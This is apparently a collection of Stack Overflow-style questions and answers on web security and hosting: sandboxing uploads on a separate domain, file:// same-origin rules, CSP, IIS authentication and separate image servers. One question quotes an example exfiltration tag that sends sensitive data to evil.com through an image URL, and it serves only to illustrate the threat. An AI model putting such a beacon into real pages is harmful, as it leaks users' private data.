Why does MDN recommend sandboxing uploading files to a different (sub)domain? - html

Mozilla Development Network recommends sandboxing uploaded files to a different subdomain:
Sandbox uploaded files (store them on a different server and allow
access to the file only through a different subdomain or even better
through a fully different domain name).
I don't understand what additional security this would provide; my approach has been to upload files on the same domain as the web page with the <input> form control, restrict uploaded files to a particular directory and perform antivirus scans on them, and then allow access to them on the same domain they were uploaded to.

There's practical/performance reasons and security reasons.
From a practical/performance reason, unless you are on a budget, store your files on a system optimised for performance. This can be any type of CDN if you are serving them once uploaded, or just isolated upload-only servers. You can do this yourself, or better off you can use something like AWS S3 and customise the permissions to your needs.
From a security point of view, it is incredibly hard to protect an uploaded file from being executable, specially if you are using a server side scripting language. There are many methods, both in HTTP and in the most popular HTTP servers (nginx, apache, ...) to harden things and make them secure, but there is so many things that you have to take into account and another bunch that you would never even think about, that it is much safer to just leave your files somewhere else altogether, ideally where there's no scripting engine that could run script code on them.
I assume that the different subdomain or domain recommendation is about XSS, vulns exploiting bad configurations of CORS, prevention on phishing attempts (like someone successfully uploading content to your site that mimics your site but does something nasty such as stealing user credentials or providing fake information, and the site would still be served from your domain and there wouldn't be an https security alert from the certificate either).

Related

How to prevent html in file:/// from accessing internet?

The background scenario is that I want to give my users a javascript which they can use to analyze their sensitive private data, and I want them to feel safe that this data will not be sent to internet.
Initially, I thought I'll just distribute it as an .html file with embeded <script>, and that they'll just run this .html file in browser over file:/// protocol, which gives some nice same-origin policy defaults.
But, this won't really offer much security to my users: a javascript could easily create an <img src="https://evil.com?sensitive-data=${XYZ}"> tag which would send a GET request to evil.com, despite evil.com being a different origin, because by design embeding of images from different origins is allowed.
Is there some practical way in which I could distribute my javascript and/or for the end user to run such script, so they could be reasonably sure it can't send the data over the internet?
(unpluging the machine from the internet, installing VM, or manipulating firewall settings, are not practical)
(reasonably sure=assumming that the software such us browser they use follows the spec and wasn't hacked)?
Please take a look at Content-Security-Policy subject.
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/img-src
Supplementing your html by <meta http-equiv="Content-Security-Policy" content="img-src 'self';"> should disallow browser to make requests to foreign resources.
The alternative attempt could be developing your project in the form of a browser extension, where you can set up content security policy quite precisely, including defines of inline scripting, executing string-to-js methods, frames and fonts origin, and so on ( https://developer.chrome.com/docs/apps/contentSecurityPolicy/ )
As a bonus you (and your users) get a free of charge code review from the security departments of the browsers vendors.
Setting up browser proxy in settings to localhost:DUMMY_PORT looks like safe solution for this case.
Deno is, to cite its website:
Deno is a simple, modern and secure runtime for JavaScript and TypeScript that uses V8 and is built in Rust.
Secure by default. No file, network, or environment access, unless explicitly enabled.
So, this reduces the trust of the user to the trust in deno (and to chocolatey if they want to use choco install deno to install deno).

Why are file:// paths always treated as cross-domain?

Why can't a local page like
file:///C:/index.html
Send a request for a resource
file:///C:/data.json
This is prevented because it's a cross origin request, but in what way is that cross origin? I don't understand why this is a vulnerability / prevented. It just seems like a massive pain when I want to whip up a quick utility for something in JavaScript/HTML and I can't run it without uploading to to a server somewhere because of this seemingly arbitrary restriction.
HTML files are expected to be "safe". Tricking people into saving an HTML document to their hard drive and then opening it is not difficult (Here, just open the HTML file attached to this email would cause many email clients to automatically safe it to a tmp directory and open it in the default application).
If JavaScript in that file had permission to read any file on the disk, then users would be extremely vulnerable.
It's the same reason that software like Microsoft Word prompts before allowing macros to run.
It protects you from malicious HTML files reading from your hard drive.
On a real server, you are (hopefully) not serving arbitrary files, but on your local machine, you could very easily trick users into loading whatever you want.
Browsers are set up with security measures to make sure that ordinary users won't be at increased risk. Imagine that I'm a malicious website and I have you download something to your filesystem that looks, to you, like a regular website. Imagine that downloaded HTML can access other parts of your file system and then send that data to me through AJAX or perhaps another piece of executable code on the filesystem that came with this package. To a regular user this might look like a regular website that just "opened up a little weird but I still got it to work." If the browser prevents that, they're safer.
It's possible to turn these flags off (as in here: How to launch html using Chrome at "--allow-file-access-from-files" mode?), but that's more for knowledgeable users ("power users"), and probably comes with some kind of warning about how your browsing session isn't secure.
For the kind of scenarios you're talking about, you should be able to spin up a local HTTP server of some sort - perhaps using Python, Ruby, or node.js (I imagine node.js would be an attractive option for testing javascript base apps).

What is the best situation with URLs when the domain might change

I'm building a website, however the URL for the website is likely to change.
How can I load resources in the front end if the domain and installation directory is likely to change?
Now that I'm starting to get deep into building the backend I have some issues.
The url is about to change, what do I do now?
I can use PHP to get the current domain and have a preset installation directory. Then load it from a variable every time I need to load a resource.
Is there any other solutions, what would you recommend?
I'm talking about resources loaded through the browser, not ones loaded through php.
If the resources are housed under the same domain as your php app, you can simply remove the protocol and hostname from those links and let the browser figure it out.
If the resources are hosted on a different hostname (or via a different protocol - http vs. https for example) then your solution of using a variable is probably the best course.

Techniques for securing a pure HTML site

I have been tasked with securing a pure HTML website for someone, and I'm not entirely sure how to approach the problem. Here are the constraints:
All logins must link in with our current Active Directory domain.
(Optional, but desired) The solution must whitelist requests coming from inside our intranet - that is, if someone attempts to access the site from on campus, they are immediately allowed in.
(Optional, but desired) The solution must whitelist requests made from our hub website, regardless of whether or not they are on campus. Said hub site is secured with logins that reference our Active Directory domain, so this is essentially a request for a passthrough.
The vast majority of our user base is very non-technical, so as small a footprint with few requests for logins is nessecery.
Normally, I'd have no problem with this, but this is a pure HTML website so my options are a little limited. My current ideas:
Use IIS6's Directory Security to simply force Active Directory authentication. I cannot use the IP permit/deny because that check comes before anything else in the life cycle and quickly denies anything on the deny list. I cannot change this behavior.
Code an aspx file that resides on our hub website that pre-loads the integrated Windows security credentials for the user, automatically authenticating them to the HTML website. As far as IIS is concerned, however, these are two different websites and this sounds like bad practice at best and an imitation of a cross-site intrution attempt at worst.
I have to admit I'm stuck. Has anyone ever handled a problem like this before?
Assuming you are using Windows2003/IIS6 and your web server is part of your domain you can do the following:
Configure your website to use Integrated and/or Basic authentication to authenticate against Active Directory. Also disable anonymous access. You'll find these settings by clicking "Edit" in the "Directory Security" tab of your website in IIS Manager. You'll only need to enable Basic if your users will use a browser other than Internet Explorer. If you use Basic your should also use SSL to protect your usernames and passwords. The level of access is determined by the permissions set on the files/directories on your website's root/child directories. Any files within these directories will only be served to authenticated users.
To allow users on your domain to logon without a prompt you will need to configure Internet Explorer to automatically logon to sites within your intranet. You'll also need to enable Integrated authentication for your website in IIS.
I'm not sure if the requirements in item #3 will be met. If your hub website uses impersonation it might pass your Windows credentials to another server within your domain but I suspect not.
References:
"How to configure IIS Web site authentication in Windows Server 2003"
http://support.microsoft.com/kb/324274/
"Internet Explorer May Prompt You for a Password"
http://support.microsoft.com/kb/258063
"How to use security zones in Internet Explorer"
http://support.microsoft.com/kb/174360/EN-US/
If the pure-html site is running on IIS, converting it to a .Net web app just to wrap its resources in your custom conditional forms login using the richer ASP.Net security wrappers seems like a natural enough fit. You can serve the pure HTML files out of that now-application.
This has no downside for the content maintainers that I can see.

Pros and Cons of a separate image server (e.g. images.mydomain.com)?

We have several images and PDF documents that are available via our website. These images and documents are stored in source control and are copied content on deployment. We are considering creating a separate image server to put our stock images and PDF docs on - thus significantly decreasing the bulk of our deployment package.
Does anyone have experience with this approach?
I am wondering about any "gotchas" - like XSS issues and/or browser issues delivering content from the alternate sub-domain?
Pro:
Many browsers will only allocate two sockets to downloading assets from a single host. So if index.html is downloaded from www.domain.com and it references 6 image files, 3 javascript files, and 3 CSS files (all on www.domain.com), the browser will download them 2 at a time, with the other blocking until a socket is free.
If you pull the 6 image files off onto a separate host, say images.domain.com, you get an extra two sockets dedicated to download your images. This parallelizes the asset download process so, in theory, your page could render twice as fast.
Con:
If you're using SSL, you would need to either get an additional single-host SSL certificate for images.domain.com or a wildcard SSL certificate for *.domain.com (matches any subdomain). Failure to do so will generate a warning in the browser saying the page contains mixed secure and insecure content.
You will also, with a different domain, not send the cookies data with every request. This can increase performance.
Another thing not yet mentioned is that you can use different web servers to serve different sorts of content. For example, your static content could be served via lighttpd or nginx while still serving your dynamic content off Apache.
Pros:
-load balancing
-isolating a different functionality
Cons:
-more work (when you create a page on the main site you would have to maintain the resources on the separate server)
Things like XSS is a problem of code not sanitizing input (or output for that matter). The only issue that could arise is if you have sub-domain specific cookies that are used for authentication.. but that's really a trivial fix.
If you're serving HTTPS and you serve an image from an HTTP domain then you'll get browser security alert warnings pop up when you use it.
So if you do HTTPS, you'll need to buy HTTPS for your image domain awell if you don't want to annoy the hell out of your users :)
There are other ways around this, but it's not particularly in the scope of this answer - it was just a warning!